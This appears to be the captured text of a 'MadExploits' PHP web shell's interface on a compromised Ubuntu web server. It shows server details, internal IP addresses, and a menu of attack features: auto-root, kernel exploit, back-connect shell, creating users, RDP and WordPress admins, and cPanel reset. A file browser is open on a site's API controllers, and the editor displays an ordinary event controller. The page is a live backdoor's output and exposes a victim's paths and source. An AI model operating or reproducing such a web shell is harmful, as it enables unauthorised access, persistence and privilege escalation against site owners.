Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
greenpreneurs /
api /
controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
admin.dashboard.controller.js
12.23
KB
-rw-r--r--
auth.controller.js
5.83
KB
-rw-r--r--
blog.controller.js
5.49
KB
-rw-r--r--
event.controller.js
1.43
KB
-rw-r--r--
homePage.controller.js
1.33
KB
-rw-r--r--
individualBlog.controller.js
4.96
KB
-rw-r--r--
user.controller.js
4.33
KB
-rw-r--r--
user.dashboard.controller.js
6.88
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : event.controller.js
import pool from "../config/db.js"; // ✅ Get a list of events with pagination export const getEvents = async (req, res) => { const limit = parseInt(req.query.limit) || 10; // Default limit of 10 if not provided const offset = parseInt(req.query.offset) || 0; // Default offset of 0 if not provided try { const eventQuery = 'SELECT * FROM Event LIMIT ? OFFSET ?'; const results = await pool.query(eventQuery, [limit, offset]); console.log("Event", results[0]); return res.status(200).json({ events: results[0] }); } catch (error) { console.error('Error fetching events:', error); return res.status(500).json({ error: 'Database query error' }); } }; // ✅ Get details of a specific event by EID export const getIndividualEvent = async (req, res) => { const { EID } = req.body; if (!EID) { return res.status(400).json({ error: 'EID is required' }); } try { const eventQuery = 'SELECT * FROM Event WHERE EID = ?'; const results = await pool.query(eventQuery, [EID]); if (results.length === 0) { return res.status(404).json({ error: 'Event not found' }); } return res.status(200).json({ event: results[0] }); } catch (error) { console.error('Error fetching event:', error); return res.status(500).json({ error: 'Database query error' }); } };
Close